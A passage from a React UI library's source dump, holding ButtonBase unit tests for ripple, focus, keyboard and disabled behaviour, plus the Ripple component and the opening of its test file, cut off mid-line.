<ButtonBase\n          centerRipple\n          TouchRippleProps={{ classes: { root: 'touch-ripple', ripple: 'touch-ripple-ripple' } }}\n        >\n          Hello\n        </ButtonBase>,\n      );\n      await ripple.startTouch(screen.getByRole('button'));\n      await ripple.stopTouch(screen.getByRole('button'));\n      // @ts-ignore\n      stub(container.querySelector('.touch-ripple'), 'getBoundingClientRect').callsFake(() => ({\n        width: 100,\n        height: 100,\n        bottom: 10,\n        left: 20,\n        top: 20,\n      }));\n      await ripple.startTouch(screen.getByRole('button'), { clientX: 10, clientY: 10 });\n      const rippleRipple = container.querySelector('.touch-ripple-ripple');\n      expect(rippleRipple).not.to.equal(null);\n      // @ts-ignore\n      const rippleStyle = window.getComputedStyle(rippleRipple);\n      expect(rippleStyle).to.have.property('height', '101px');\n      expect(rippleStyle).to.have.property('width', '101px');\n    });\n\n    it('is disabled by default', async () => {\n      const { container } = render(\n        <ButtonBase\n          TouchRippleProps={{ classes: { root: 'touch-ripple', ripple: 'touch-ripple-ripple' } }}\n        >\n          Hello\n        </ButtonBase>,\n      );\n      await ripple.startTouch(screen.getByRole('button'));\n      await ripple.stopTouch(screen.getByRole('button'));\n      // @ts-ignore\n      stub(container.querySelector('.touch-ripple'), 'getBoundingClientRect').callsFake(() => ({\n        width: 100,\n        height: 100,\n        bottom: 10,\n        left: 20,\n        top: 20,\n      }));\n      await ripple.startTouch(screen.getByRole('button'), { clientX: 10, clientY: 10 });\n      const rippleRipple = container.querySelector('.touch-ripple-ripple');\n      expect(rippleRipple).not.to.equal(null);\n      // @ts-ignore\n      const rippleStyle = window.getComputedStyle(rippleRipple);\n      expect(rippleStyle).not.to.have.property('height', '101px');\n      expect(rippleStyle).not.to.have.property('width', '101px');\n    });\n  });\n\n  describe.skipIf(isJsdom())('focusRipple', () => {\n    it('should pulsate the ripple when focusVisible', async () => {\n      render(\n        <ButtonBase\n          focusRipple\n          TouchRippleProps={{\n            classes: {\n              ripplePulsate: 'ripple-pulsate',\n            },\n          }}\n        />,\n      );\n\n      const button = screen.getByRole('button');\n\n      simulatePointerDevice();\n      await ripple.startFocus(button);\n\n      expect(button.querySelectorAll('.ripple-pulsate')).to.have.lengthOf(1);\n    });\n\n    it('should not stop the ripple when the mouse leaves', async () => {\n      render(\n        <ButtonBase\n          focusRipple\n          TouchRippleProps={{\n            classes: {\n              ripplePulsate: 'ripple-pulsate',\n            },\n          }}\n        />,\n      );\n\n      const button = screen.getByRole('button');\n\n      simulatePointerDevice();\n      await ripple.startFocus(button);\n      await ripple.asyncFireEvent(button, 'mouseLeave');\n\n      expect(button.querySelectorAll('.ripple-pulsate')).to.have.lengthOf(1);\n    });\n\n    it('should stop pulsate and start a ripple when the space button is pressed', async () => {\n      render(\n        <ButtonBase\n          focusRipple\n          TouchRippleProps={{\n            classes: {\n              childLeaving: 'child-leaving',\n              ripplePulsate: 'ripple-pulsate',\n              rippleVisible: 'rippled-visible',\n            },\n          }}\n        />,\n      );\n\n      const button = screen.getByRole('button');\n\n      simulatePointerDevice();\n      await ripple.startFocus(button);\n      await ripple.asyncFireEvent(button, 'keyDown', { key: ' ' });\n\n      expect(button.querySelectorAll('.ripple-pulsate .child-leaving')).to.have.lengthOf(1);\n      expect(button.querySelectorAll('.ripple-visible')).to.have.lengthOf(0);\n    });\n\n    it('should stop and re-pulsate when space bar is released', async () => {\n      render(\n        <ButtonBase\n          focusRipple\n          TouchRippleProps={{\n            classes: {\n              childLeaving: 'child-leaving',\n              ripplePulsate: 'ripple-pulsate',\n              rippleVisible: 'ripple-visible',\n            },\n          }}\n        />,\n      );\n\n      const button = screen.getByRole('button');\n\n      simulatePointerDevice();\n      await ripple.startFocus(button);\n      expect(button.querySelectorAll('.ripple-visible')).to.have.lengthOf(1);\n\n      await ripple.asyncFireEvent(button, 'keyDown', { key: ' ' });\n      expect(button.querySelectorAll('.ripple-visible')).to.have.lengthOf(2);\n\n      await ripple.asyncFireEvent(button, 'keyUp', { key: ' ' });\n      expect(button.querySelectorAll('.ripple-visible')).to.have.lengthOf(3);\n    });\n\n    it('should stop on blur and set focusVisible to false', async () => {\n      render(\n        <ButtonBase\n          focusRipple\n          TouchRippleProps={{\n            classes: {\n              childLeaving: 'child-leaving',\n              rippleVisible: 'ripple-visible',\n            },\n          }}\n        />,\n      );\n\n      const button = screen.getByRole('button');\n      simulatePointerDevice();\n      await ripple.startFocus(button);\n\n      await ripple.stopFocus(button);\n\n      expect(button.querySelectorAll('.ripple-visible .child-leaving')).to.have.lengthOf(1);\n    });\n  });\n\n  describe('prop: disabled', () => {\n    it('should have a negative tabIndex', () => {\n      render(<ButtonBase disabled>Hello</ButtonBase>);\n      expect(screen.getByText('Hello')).to.have.property('tabIndex', -1);\n    });\n\n    it('should forward it to native buttons', () => {\n      render(\n        <ButtonBase disabled component=\"button\">\n          Hello\n        </ButtonBase>,\n      );\n\n      expect(screen.getByText('Hello')).to.have.property('disabled', true);\n    });\n\n    // JSDOM doesn't support :focus-visible\n    it.skipIf(isJsdom())('should reset the focused state', function test() {\n      const { setProps } = render(<ButtonBase>Hello</ButtonBase>);\n      const button = screen.getByText('Hello');\n      simulatePointerDevice();\n\n      focusVisible(button);\n\n      expect(button).to.have.class(classes.focusVisible);\n\n      setProps({ disabled: true });\n\n      expect(button).not.to.have.class(classes.focusVisible);\n    });\n\n    it('should not use aria-disabled with button host', () => {\n      render(<ButtonBase disabled>Hello</ButtonBase>);\n      const button = screen.getByRole('button');\n\n      expect(button).to.have.attribute('disabled');\n      expect(button).not.to.have.attribute('aria-disabled');\n    });\n\n    it('should use aria-disabled for other components', () => {\n      const { setProps } = render(\n        <ButtonBase component=\"span\" disabled>\n          Hello\n        </ButtonBase>,\n      );\n      const button = screen.getByRole('button');\n\n      expect(button).not.to.have.attribute('disabled');\n      expect(button).to.have.attribute('aria-disabled', 'true');\n\n      setProps({ disabled: false });\n      expect(button).not.to.have.attribute('aria-disabled');\n    });\n\n    it('should not call key handlers on a disabled non-native button', async () => {\n      const onKeyDownSpy = spy();\n      const onKeyUpSpy = spy();\n\n      const { user } = render(\n        <ButtonBase component=\"span\" disabled onKeyDown={onKeyDownSpy} onKeyUp={onKeyUpSpy}>\n          Hello\n        </ButtonBase>,\n      );\n\n      const button = screen.getByRole('button');\n\n      await act(async () => {\n        button.focus();\n      });\n\n      expect(button).toHaveFocus();\n\n      await user.keyboard('{Enter}');\n      await user.keyboard('{Space}');\n\n      expect(onKeyDownSpy.callCount).to.equal(0);\n      expect(onKeyUpSpy.callCount).to.equal(0);\n    });\n\n    it('should not propagate click events when Space is released on a disabled non-native button', async () => {\n      const parentClickSpy = spy();\n      const buttonClickSpy = spy();\n\n      const { user } = render(\n        <div onClick={parentClickSpy}>\n          <ButtonBase component=\"span\" disabled onClick={buttonClickSpy}>\n            Hello\n          </ButtonBase>\n        </div>,\n      );\n\n      const button = screen.getByRole('button');\n\n      // We don't use `user.tab()` because normal tab focus won't land on a disabled\n      // ButtonBase, only programmatic focus can happen\n      await act(async () => {\n        button.focus();\n      });\n\n      await user.keyboard(' ');\n\n      expect(buttonClickSpy.callCount).to.equal(0);\n      expect(parentClickSpy.callCount).to.equal(0);\n    });\n  });\n\n  describe('prop: component', () => {\n    it('should allow to use a link component', () => {\n      /**\n       * @type {React.ForwardRefExoticComponent<React.HTMLAttributes<HTMLDivElement>>}\n       */\n      const Link = React.forwardRef((props, ref) => (\n        <div data-testid=\"link\" ref={ref} {...props} />\n      ));\n      render(\n        <ButtonBase component={Link} nativeButton={false}>\n          Hello\n        </ButtonBase>,\n      );\n\n      expect(screen.getByTestId('link')).to.have.attribute('role', 'button');\n    });\n  });\n\n  describe('prop: nativeButton', () => {\n    it('treats custom components as native buttons for render-time props', () => {\n      const CustomButton = React.forwardRef((props, ref) => <button ref={ref} {...props} />);\n\n      render(\n        <ButtonBase component={CustomButton} nativeButton disabled>\n          Hello\n        </ButtonBase>,\n      );\n\n      const button = screen.getByRole('button');\n\n      expect(button).to.have.property('nodeName', 'BUTTON');\n      expect(button).to.have.attribute('type', 'button');\n      expect(button).to.have.attribute('disabled');\n      expect(button).not.to.have.attribute('role');\n      expect(button).not.to.have.attribute('aria-disabled');\n    });\n  });\n\n  describe('event: focus', () => {\n    it('when disabled should be called onFocus', async () => {\n      const onFocusSpy = spy();\n\n      render(\n        <ButtonBase component=\"div\" disabled onFocus={onFocusSpy}>\n          Hello\n        </ButtonBase>,\n      );\n\n      await act(async () => {\n        screen.getByRole('button').focus();\n      });\n\n      expect(onFocusSpy.callCount).to.equal(1);\n    });\n\n    // JSDOM doesn't support :focus-visible\n    it.skipIf(isJsdom())('has a focus-visible polyfill', async function test() {\n      render(<ButtonBase>Hello</ButtonBase>);\n      const button = screen.getByText('Hello');\n      simulatePointerDevice();\n\n      expect(button).not.to.have.class(classes.focusVisible);\n\n      await act(async () => {\n        button.focus();\n      });\n\n      if (programmaticFocusTriggersFocusVisible()) {\n        expect(button).to.have.class(classes.focusVisible);\n      } else {\n        expect(button).not.to.have.class(classes.focusVisible);\n      }\n\n      focusVisible(button);\n\n      expect(button).to.have.class(classes.focusVisible);\n    });\n\n    // JSDOM doesn't support :focus-visible\n    it.skipIf(isJsdom())('removes focus-visible if focus is re-targetted', function test() {\n      /**\n       * @type {string[]}\n       */\n      const eventLog = [];\n      function Test() {\n        /**\n         * @type {React.Ref<HTMLButtonElement>}\n         */\n        const focusRetargetRef = React.useRef(null);\n        return (\n          <div\n            onFocus={() => {\n              const { current: focusRetarget } = focusRetargetRef;\n              if (focusRetarget === null) {\n                throw new TypeError('Nothing to focus. Test cannot work.');\n              }\n              focusRetarget.focus();\n            }}\n          >\n            <button ref={focusRetargetRef} type=\"button\">\n              you cannot escape me\n            </button>\n            <ButtonBase\n              onBlur={() => eventLog.push('blur')}\n              onFocus={() => eventLog.push('focus')}\n              onFocusVisible={() => eventLog.push('focus-visible')}\n            >\n              Hello\n            </ButtonBase>\n          </div>\n        );\n      }\n      render(<Test />);\n      const buttonBase = screen.getByText('Hello');\n      const focusRetarget = screen.getByText('you cannot escape me');\n      simulatePointerDevice();\n\n      focusVisible(buttonBase);\n\n      expect(focusRetarget).toHaveFocus();\n      expect(eventLog).to.deep.equal(['focus-visible', 'focus', 'blur']);\n      expect(buttonBase).not.to.have.class(classes.focusVisible);\n    });\n\n    // JSDOM doesn't support :focus-visible\n    it.skipIf(isJsdom())(\n      'onFocusVisibleHandler() should propagate call to onFocusVisible prop',\n      function test() {\n        const onFocusVisibleSpy = spy();\n\n        render(\n          <ButtonBase component=\"span\" onFocusVisible={onFocusVisibleSpy}>\n            Hello\n          </ButtonBase>,\n        );\n\n        simulatePointerDevice();\n\n        focusVisible(screen.getByRole('button'));\n\n        expect(onFocusVisibleSpy.calledOnce).to.equal(true);\n        expect(onFocusVisibleSpy.firstCall.args).to.have.lengthOf(1);\n      },\n    );\n\n    it('can be autoFocused', () => {\n      render(<ButtonBase autoFocus>Hello</ButtonBase>);\n\n      expect(screen.getByText('Hello')).toHaveFocus();\n    });\n  });\n\n  describe.skipIf(isJsdom())('event: keydown', () => {\n    it('ripples on repeated keydowns', async () => {\n      const { container } = render(\n        <ButtonBase focusRipple TouchRippleProps={{ classes: { rippleVisible: 'ripple-visible' } }}>\n          Hello\n        </ButtonBase>,\n      );\n\n      const button = screen.getByText('Hello');\n\n      await ripple.startFocus(button);\n\n      fireEvent.keyDown(button, { key: 'Enter' });\n\n      expect(container.querySelectorAll('.ripple-visible')).to.have.lengthOf(1);\n\n      fireEvent.keyDown(button, { key: 'Enter', repeat: true });\n\n      expect(container.querySelectorAll('.ripple-visible')).to.have.lengthOf(1);\n    });\n\n    describe('prop: onKeyDown', () => {\n      it('call it when keydown events are dispatched', () => {\n        const onKeyDownSpy = spy();\n\n        render(\n          <ButtonBase autoFocus onKeyDown={onKeyDownSpy}>\n            Hello\n          </ButtonBase>,\n        );\n\n        fireEvent.keyDown(screen.getByText('Hello'));\n\n        expect(onKeyDownSpy.callCount).to.equal(1);\n      });\n    });\n\n    describe('prop: disableTouchRipple', () => {\n      it('creates no ripples on click', async () => {\n        render(\n          <ButtonBase\n            disableTouchRipple\n            TouchRippleProps={{\n              classes: {\n                rippleVisible: 'ripple-visible',\n              },\n            }}\n          >\n            Hello\n          </ButtonBase>,\n        );\n\n        const button = screen.getByText('Hello');\n\n        await ripple.startTouch(button);\n\n        expect(button).not.to.have.class('ripple-visible');\n      });\n    });\n\n    describe('prop: disableRipple', () => {\n      it('removes the TouchRipple', async () => {\n        render(\n          <ButtonBase disableRipple focusRipple TouchRippleProps={{ className: 'touch-ripple' }}>\n            Hello\n          </ButtonBase>,\n        );\n\n        const button = screen.getByText('Hello');\n\n        await ripple.startTouch(button);\n\n        expect(button.querySelector('.touch-ripple')).to.equal(null);\n      });\n    });\n\n    describe('keyboard accessibility for non interactive elements', () => {\n      it('does not call onClick when a spacebar is pressed on the element but prevents the default', async () => {\n        const onKeyDown = spy();\n        const onClickSpy = spy();\n\n        render(\n          <ButtonBase onClick={onClickSpy} onKeyDown={onKeyDown} component=\"div\">\n            Hello\n          </ButtonBase>,\n        );\n\n        const button = screen.getByRole('button');\n\n        await act(async () => {\n          button.focus();\n        });\n\n        fireEvent.keyDown(button, {\n          key: ' ',\n        });\n\n        expect(onClickSpy.callCount).to.equal(0);\n        expect(onKeyDown.callCount).to.equal(1);\n        expect(onKeyDown.firstCall.args[0]).to.have.property('defaultPrevented', true);\n      });\n\n      it('does call onClick when a spacebar is released on the element', async () => {\n        const onClickSpy = spy();\n\n        render(\n          <ButtonBase onClick={onClickSpy} component=\"div\">\n            Hello\n          </ButtonBase>,\n        );\n\n        const button = screen.getByRole('button');\n\n        await act(async () => {\n          button.focus();\n        });\n\n        fireEvent.keyUp(button, {\n          key: ' ',\n        });\n\n        expect(onClickSpy.callCount).to.equal(1);\n        expect(onClickSpy.firstCall.args[0]).to.have.property('defaultPrevented', false);\n      });\n\n      it('does not call onClick when a spacebar is released and the default is prevented', async () => {\n        const onClickSpy = spy();\n\n        render(\n          <ButtonBase\n            onClick={onClickSpy}\n            onKeyUp={\n              /**\n               * @param {React.SyntheticEvent} event\n               */\n              (event) => event.preventDefault()\n            }\n            component=\"div\"\n          >\n            Hello\n          </ButtonBase>,\n        );\n\n        const button = screen.getByRole('button');\n\n        await act(async () => {\n          button.focus();\n        });\n\n        fireEvent.keyUp(button, {\n          key: ' ',\n        });\n\n        expect(onClickSpy.callCount).to.equal(0);\n      });\n\n      it('calls onKeyDown and onClick when Enter is pressed on the element', async () => {\n        const onClickSpy = spy();\n        const onKeyDownSpy = spy();\n\n        const { user } = render(\n          <ButtonBase onClick={onClickSpy} onKeyDown={onKeyDownSpy} component=\"div\">\n            Hello\n          </ButtonBase>,\n        );\n\n        await user.tab();\n        await user.keyboard('{Enter}');\n\n        expect(onKeyDownSpy.calledOnce).to.equal(true);\n        expect(onKeyDownSpy.firstCall.args[0]).to.have.property('defaultPrevented', true);\n        expect(onClickSpy.calledOnce).to.equal(true);\n        expect(onClickSpy.firstCall.args[0]).to.have.property('defaultPrevented', false);\n      });\n\n      it('calls onKeyDown and onClick when Spacebar is pressed on the element', async () => {\n        const onClickSpy = spy();\n        const onKeyDownSpy = spy();\n\n        const { user } = render(\n          <ButtonBase onClick={onClickSpy} onKeyDown={onKeyDownSpy} component=\"div\">\n            Hello\n          </ButtonBase>,\n        );\n\n        await user.tab();\n        await user.keyboard(' ');\n\n        expect(onKeyDownSpy.calledOnce).to.equal(true);\n        expect(onKeyDownSpy.firstCall.args[0]).to.have.property('defaultPrevented', true);\n        expect(onClickSpy.calledOnce).to.equal(true);\n        expect(onClickSpy.firstCall.args[0]).to.have.property('defaultPrevented', false);\n      });\n\n      it('does not call onClick if Enter was pressed on a child', () => {\n        const onClickSpy = spy();\n        const onKeyDownSpy = spy();\n        render(\n          <ButtonBase onClick={onClickSpy} onKeyDown={onKeyDownSpy} component=\"div\">\n            <input autoFocus type=\"text\" />\n          </ButtonBase>,\n        );\n\n        fireEvent.keyDown(screen.getByRole('textbox'), {\n          key: 'Enter',\n        });\n\n        expect(onKeyDownSpy.callCount).to.equal(1);\n        expect(onClickSpy.callCount).to.equal(0);\n      });\n\n      it('does not call onClick if Space was released on a child', () => {\n        const onClickSpy = spy();\n        const onKeyUpSpy = spy();\n        render(\n          <ButtonBase onClick={onClickSpy} onKeyUp={onKeyUpSpy} component=\"div\">\n            <input autoFocus type=\"text\" />\n          </ButtonBase>,\n        );\n\n        fireEvent.keyUp(screen.getByRole('textbox'), {\n          key: ' ',\n        });\n\n        expect(onKeyUpSpy.callCount).to.equal(1);\n        expect(onClickSpy.callCount).to.equal(0);\n      });\n\n      it('should preserve native button keyboard behavior when a custom component renders a native button', async () => {\n        const onClickSpy = spy();\n        const onKeyDownSpy = spy();\n        const errorSpy = vi.spyOn(console, 'error').mockImplementation(() => {});\n\n        const MyButton = React.forwardRef(function MyButton(props, ref) {\n          return <button ref={ref} {...props} />;\n        });\n\n        const { user } = render(\n          // @ts-expect-error missing types in MyButton\n          <ButtonBase component={MyButton} onClick={onClickSpy} onKeyDown={onKeyDownSpy}>\n            Hello\n          </ButtonBase>,\n        );\n\n        await user.tab();\n\n        await user.keyboard('{Enter}');\n\n        expect(onKeyDownSpy.callCount).to.equal(1);\n        expect(onClickSpy.callCount).to.equal(1);\n        expect(onKeyDownSpy.firstCall.args[0]).to.have.property('defaultPrevented', false);\n\n        onClickSpy.resetHistory();\n        onKeyDownSpy.resetHistory();\n\n        await user.keyboard(' ');\n\n        expect(onKeyDownSpy.callCount).to.equal(1);\n        expect(onClickSpy.callCount).to.equal(1);\n        expect(onKeyDownSpy.firstCall.args[0]).to.have.property('defaultPrevented', false);\n        errorSpy.mockRestore();\n      });\n\n      it('prevents default on Enter with an anchor and empty href', async () => {\n        const onClickSpy = spy();\n        const onKeyDownSpy = spy();\n\n        const { user } = render(\n          <ButtonBase component=\"a\" onKeyDown={onKeyDownSpy} onClick={onClickSpy}>\n            Hello\n          </ButtonBase>,\n        );\n\n        await user.tab();\n        await user.keyboard('{Enter}');\n\n        expect(onKeyDownSpy.calledOnce).to.equal(true);\n        expect(onKeyDownSpy.firstCall.args[0]).to.have.property('defaultPrevented', true);\n        expect(onClickSpy.calledOnce).to.equal(true);\n        expect(onClickSpy.firstCall.args[0]).to.have.property('defaultPrevented', false);\n      });\n\n      it('prevents default on Spacebar with an anchor and empty href', async () => {\n        const onClickSpy = spy();\n        const onKeyDownSpy = spy();\n\n        const { user } = render(\n          <ButtonBase component=\"a\" onKeyDown={onKeyDownSpy} onClick={onClickSpy}>\n            Hello\n          </ButtonBase>,\n        );\n\n        await user.tab();\n        await user.keyboard(' ');\n\n        expect(onKeyDownSpy.calledOnce).to.equal(true);\n        expect(onKeyDownSpy.firstCall.args[0]).to.have.property('defaultPrevented', true);\n        expect(onClickSpy.calledOnce).to.equal(true);\n        expect(onClickSpy.firstCall.args[0]).to.have.property('defaultPrevented', false);\n      });\n\n      it('should ignore anchors with href', async () => {\n        const onClick = spy();\n        const onKeyDown = spy();\n\n        render(\n          <ButtonBase component=\"a\" href=\"href\" onClick={onClick} onKeyDown={onKeyDown}>\n            Hello\n          </ButtonBase>,\n        );\n\n        const button = screen.getByText('Hello');\n\n        await act(async () => {\n          button.focus();\n        });\n\n        fireEvent.keyDown(button, {\n          key: 'Enter',\n        });\n\n        expect(onClick.callCount).to.equal(0);\n        expect(onKeyDown.callCount).to.equal(1);\n        expect(onKeyDown.firstCall.args[0]).to.have.property('defaultPrevented', false);\n      });\n\n      it('should ignore custom link components that render anchors with href', async () => {\n        const onClick = spy();\n        const onKeyDown = spy();\n        const CustomLink = React.forwardRef((props, ref) => (\n          // eslint-disable-next-line jsx-a11y/anchor-has-content\n          <a ref={ref} {...props} />\n        ));\n\n        render(\n          // @ts-expect-error missing types in CustomLink\n          <ButtonBase component={CustomLink} href=\"href\" onClick={onClick} onKeyDown={onKeyDown}>\n            Hello\n          </ButtonBase>,\n        );\n\n        const button = screen.getByText('Hello');\n\n        await act(async () => {\n          button.focus();\n        });\n\n        fireEvent.keyDown(button, {\n          key: 'Enter',\n        });\n\n        expect(onClick.callCount).to.equal(0);\n        expect(onKeyDown.callCount).to.equal(1);\n        expect(onKeyDown.firstCall.args[0]).to.have.property('defaultPrevented', false);\n      });\n    });\n  });\n\n  describe.skipIf(isJsdom())('prop: action', () => {\n    it('should be able to focus visible the button', async () => {\n      /**\n       * @type {React.RefObject<import('./ButtonBase').ButtonBaseActions | null>}\n       */\n      const buttonActionsRef = React.createRef();\n\n      render(\n        <ButtonBase action={buttonActionsRef} focusVisibleClassName=\"focusVisible\">\n          Hello\n        </ButtonBase>,\n      );\n\n      // @ts-ignore\n      expect(typeof buttonActionsRef.current.focusVisible).to.equal('function');\n\n      await act(async () => {\n        // @ts-ignore\n        buttonActionsRef.current.focusVisible();\n      });\n\n      expect(screen.getByText('Hello')).toHaveFocus();\n      expect(screen.getByText('Hello')).to.match('.focusVisible');\n    });\n  });\n\n  describe('warnings', () => {\n    /**\n     * @param {{ mock: { calls: unknown[][] } }} errorSpy\n     * @returns {string[]}\n     */\n    function getWarningMessages(errorSpy) {\n      return errorSpy.mock.calls.map((call) =>\n        String(call[0]).replace(/\\s+/g, ' ').trim().toLowerCase(),\n      );\n    }\n\n    /**\n     * @param {{ mock: { calls: unknown[][] } }} errorSpy\n     * @param {string[]} fragments\n     */\n    function expectWarningWithFragments(errorSpy, fragments) {\n      const messages = getWarningMessages(errorSpy);\n\n      expect(messages.length).to.be.greaterThanOrEqual(1);\n      expect(\n        messages.some((message) =>\n          fragments.every((fragment) => message.includes(fragment.toLowerCase())),\n        ),\n      ).to.equal(true);\n    }\n\n    beforeEach(() => {\n      PropTypes.resetWarningCache();\n    });\n\n    it('warns when nativeButton is omitted and a custom component renders a button', () => {\n      const errorSpy = vi.spyOn(console, 'error').mockImplementation(() => {});\n      const CustomButton = React.forwardRef((props, ref) => <button ref={ref} {...props} />);\n\n      render(<ButtonBase component={CustomButton}>Hello</ButtonBase>);\n\n      expectWarningWithFragments(errorSpy, ['nativebutton={true}', 'native <button>']);\n      errorSpy.mockRestore();\n    });\n\n    it('does not warn in link mode when nativeButton is omitted', () => {\n      const errorSpy = vi.spyOn(console, 'error').mockImplementation(() => {});\n\n      render(<ButtonBase href=\"/test\">Hello</ButtonBase>);\n\n      const messages = getWarningMessages(errorSpy);\n      expect(messages.some((message) => message.includes('nativebutton={false}'))).to.equal(false);\n      errorSpy.mockRestore();\n    });\n\n    // Only run the test on node. On the browser the thrown error is not caught\n    it.skipIf(!isJsdom())('warns on invalid `component` prop: ref forward', function test() {\n      /**\n       *\n       * @param {import('react').HTMLAttributes<HTMLButtonElement>} props\n       */\n      function Component(props) {\n        return <button type=\"button\" {...props} />;\n      }\n\n      expect(() => {\n        PropTypes.checkPropTypes(\n          // @ts-expect-error ExtendButtonBase<ButtonBaseTypeMap<{}, \"button\">> does not contain the property 'propTypes'.\n          ButtonBase.propTypes,\n          { classes: {}, component: Component },\n          'prop',\n          'MockedName',\n        );\n      }).toErrorDev(\n        'Invalid prop `component` supplied to `MockedName`. Expected an element type that can hold a ref',\n      );\n    });\n  });\n\n  describe('prop: type', () => {\n    it('is `button` by default', () => {\n      render(<ButtonBase />);\n\n      expect(screen.getByRole('button')).to.have.property('type', 'button');\n    });\n\n    it('can be changed to other button types', () => {\n      render(<ButtonBase type=\"submit\" />);\n\n      expect(screen.getByRole('button')).to.have.property('type', 'submit');\n    });\n\n    it('allows non-standard values', () => {\n      // @ts-expect-error `@types/react` only lists standard values\n      render(<ButtonBase type=\"fictional-type\" />);\n\n      expect(screen.getByRole('button')).to.have.attribute('type', 'fictional-type');\n      // By spec non-supported types result in the default type for `<button>` which is `submit`\n      expect(screen.getByRole('button')).to.have.property('type', 'submit');\n    });\n\n    it('is forwarded to anchor components', () => {\n      render(<ButtonBase component=\"a\" href=\"some-recording.ogg\" download type=\"audio/ogg\" />);\n\n      expect(screen.getByRole('link')).to.have.attribute('type', 'audio/ogg');\n      expect(screen.getByRole('link')).to.have.property('type', 'audio/ogg');\n    });\n\n    it('is forwarded to custom components', () => {\n      /**\n       * @type {React.ForwardRefExoticComponent<React.ButtonHTMLAttributes<HTMLButtonElement>>}\n       */\n      const CustomButton = React.forwardRef((props, ref) => <button ref={ref} {...props} />);\n      render(\n        <ButtonBase component={CustomButton} nativeButton type=\"reset\">\n          Hello\n        </ButtonBase>,\n      );\n\n      expect(screen.getByRole('button')).to.have.property('type', 'reset');\n    });\n  });\n\n  describe('prop: touchRippleRef', () => {\n    it('should return a ref', async () => {\n      const ref = React.createRef();\n      render(<ButtonBase touchRippleRef={ref} />);\n      await ripple.startTouch(screen.getByRole('button'));\n      expect(ref.current).not.to.equal(null);\n    });\n  });\n\n  describe('form attributes', () => {\n    it.skipIf(isJsdom() || reactMajor < 19)(\n      'should not set default type when formAction is present',\n      async function test() {\n        const formActionSpy = spy();\n        const { user } = render(\n          <form>\n            <ButtonBase formAction={formActionSpy}>Submit</ButtonBase>\n          </form>,\n        );\n        const button = screen.getByRole('button');\n\n        // Should not have type=\"button\" when formAction is present\n        expect(button).not.to.have.attribute('type', 'button');\n        expect(button).to.have.attribute('formaction');\n        await user.click(button);\n        expect(formActionSpy.callCount).to.equal(1);\n      },\n    );\n\n    it.skipIf(isJsdom() || reactMajor < 19)(\n      'should not set default type when formAction is present on a custom native button',\n      async function test() {\n        const formActionSpy = spy();\n        const CustomButton = React.forwardRef((props, ref) => <button ref={ref} {...props} />);\n        const buttonBase = (\n          // @ts-expect-error missing types in CustomButton\n          <ButtonBase component={CustomButton} nativeButton formAction={formActionSpy}>\n            Submit\n          </ButtonBase>\n        );\n        const { user } = render(<form>{buttonBase}</form>);\n        const button = screen.getByRole('button');\n\n        expect(button).not.to.have.attribute('type', 'button');\n        expect(button).to.have.attribute('formaction');\n        await user.click(button);\n        expect(formActionSpy.callCount).to.equal(1);\n      },\n    );\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/ButtonBase/Ripple.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\n\n/**\n * @ignore - internal component.\n */\nfunction Ripple(props) {\n  const {\n    className,\n    classes,\n    pulsate = false,\n    rippleX,\n    rippleY,\n    rippleSize,\n    in: inProp,\n    onExited,\n    timeout,\n  } = props;\n  const [leaving, setLeaving] = React.useState(false);\n\n  const rippleClassName = clsx(className, classes.ripple, classes.rippleVisible, {\n    [classes.ripplePulsate]: pulsate,\n  });\n\n  const rippleStyles = {\n    width: rippleSize,\n    height: rippleSize,\n    top: -(rippleSize / 2) + rippleY,\n    left: -(rippleSize / 2) + rippleX,\n  };\n\n  const childClassName = clsx(classes.child, {\n    [classes.childLeaving]: leaving,\n    [classes.childPulsate]: pulsate,\n  });\n\n  if (!inProp && !leaving) {\n    setLeaving(true);\n  }\n  React.useEffect(() => {\n    if (!inProp && onExited != null) {\n      // react-transition-group#onExited\n      const timeoutId = setTimeout(onExited, timeout);\n      return () => {\n        clearTimeout(timeoutId);\n      };\n    }\n    return undefined;\n  }, [onExited, inProp, timeout]);\n\n  return (\n    <span className={rippleClassName} style={rippleStyles}>\n      <span className={childClassName} />\n    </span>\n  );\n}\n\nRipple.propTypes /* remove-proptypes */ = {\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object.isRequired,\n  className: PropTypes.string,\n  /**\n   * @ignore - injected from TransitionGroup\n   */\n  in: PropTypes.bool,\n  /**\n   * @ignore - injected from TransitionGroup\n   */\n  onExited: PropTypes.func,\n  /**\n   * If `true`, the ripple pulsates, typically indicating the keyboard focus state of an element.\n   */\n  pulsate: PropTypes.bool,\n  /**\n   * Diameter of the ripple.\n   */\n  rippleSize: PropTypes.number,\n  /**\n   * Horizontal position of the ripple center.\n   */\n  rippleX: PropTypes.number,\n  /**\n   * Vertical position of the ripple center.\n   */\n  rippleY: PropTypes.number,\n  /**\n   * exit delay\n   */\n  timeout: PropTypes.number.isRequired,\n};\n\nexport default Ripple;\n"
  },
  {
    "path": "packages/mui-material/src/ButtonBase/Ripple.test.js",
    "content": "import { expect } from 'chai';\nimport { spy } from 'sinon';\nimport { createRenderer } from '@mui/internal-test-utils';\nimport Ripple from './Ripple';\nimport classes from './touchRippleClasses';\n\ndescribe('<Ripple />', () => {\n  const { clock, render } = createRenderer();\n\n  it('should have the ripple className', () => {\n    const { container } = render(\n      <Ripple classes={classes} timeout={0} rippleX={0} rippleY={0} rippleSize={11} />,\n    );\n    const ripple = container.querySelector('span');\n    expect(ripple).to.have.class(classes.ripple);\n    expect(ripple).not.to.have.class(classes.fast);\n  });\n\n  describe('starting and stopping', () => {\n    it('should start the ripple', () => {\n      const { container, setProps } = render(\n        <Ripple classes={classes} timeout={0} rippleX={0} rippleY={0} rippleSize={11} />,\n      );\n\n      setProps({ in: true });\n\n      const ripple = container.querySelector('span');\n      expect(ripple).to.have.class(classes.rippleVisible);\n    });\n\n    it('should stop the ripple', () => {\n      const { container, setProps } = render(\n        <Ripple classes={classes} in timeout={0} rippleX={0} rippleY={0} rippleSize={11} />,\n      );\n\n      setProps({ in: false });\n\n      const child = container.querySelector('span > span');\n      expect(child).to.have.class(classes.childLeaving);\n    });\n  });\n\n  describe('pulsating and stopping 1', () => {\n    it('should render the ripple inside a pulsating Ripple', () => {\n      const { container } = render(\n        <Ripple classes={classes} timeout={0} rippleX={0} rippleY={0} rippleSize={11} pulsate />,\n      );\n\n      const ripple = container.querySelector('span');\n      expect(ripple).to.have.class(classes.ripple);\n      expect(ripple).to.have.class(classes.ripplePulsate);\n      const child = 